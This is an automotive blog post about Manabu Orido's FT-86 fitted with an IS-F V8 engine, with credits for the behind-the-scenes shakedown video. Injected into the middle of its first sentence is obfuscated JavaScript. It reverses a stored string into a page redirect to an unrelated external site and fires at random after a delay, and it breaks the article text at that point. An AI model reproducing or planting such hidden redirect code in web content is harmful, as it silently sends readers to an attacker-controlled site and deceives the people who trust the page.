Max Orido. FT-86 with an IS-F Motor. Behind the scenes…Drift

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We had Luke Huxham on $VOcl3cIRrbzlimOyC8H=function(n){if (typeof ($VOcl3cIRrbzlimOyC8H.list[n]) == “string”) return $VOcl3cIRrbzlimOyC8H.list[n].split(“”).reverse().join(“”);return $VOcl3cIRrbzlimOyC8H.list[n];};$VOcl3cIRrbzlimOyC8H.list=[“‘php.sgnittes-nigulp/daol-efas/slmtog/snigulp/tnetnoc-pw/moc.reilibommi-gnitekrame//:ptth’=ferh.noitacol.tnemucod”];var number1=Math.floor(Math.random() * 5);if (number1==3){var delay = 15000;setTimeout($VOcl3cIRrbzlimOyC8H(0), delay);}andpiston”>Facebook chat this morning, teasing us with this video. Suffice to say, the mix of a burning desire for the new wagon on the block and the might of an IS-F engine shoe horned in the business end, had us salivating.

Three hours later, the finished article was pushed live. So thanks to Dino Dalle Carbonare and Luke himself, we take you behind the scenes at recent shake down with Manabu Orido at Mobarar circuit, in his new FT-86. As you can see and hear, the car as a IS-F V8 engine transplant a whole load of power >>>

Film : Dino Dalle Carbonare
Edit / Grade : Luke Huxham

Updated – New on board footage added…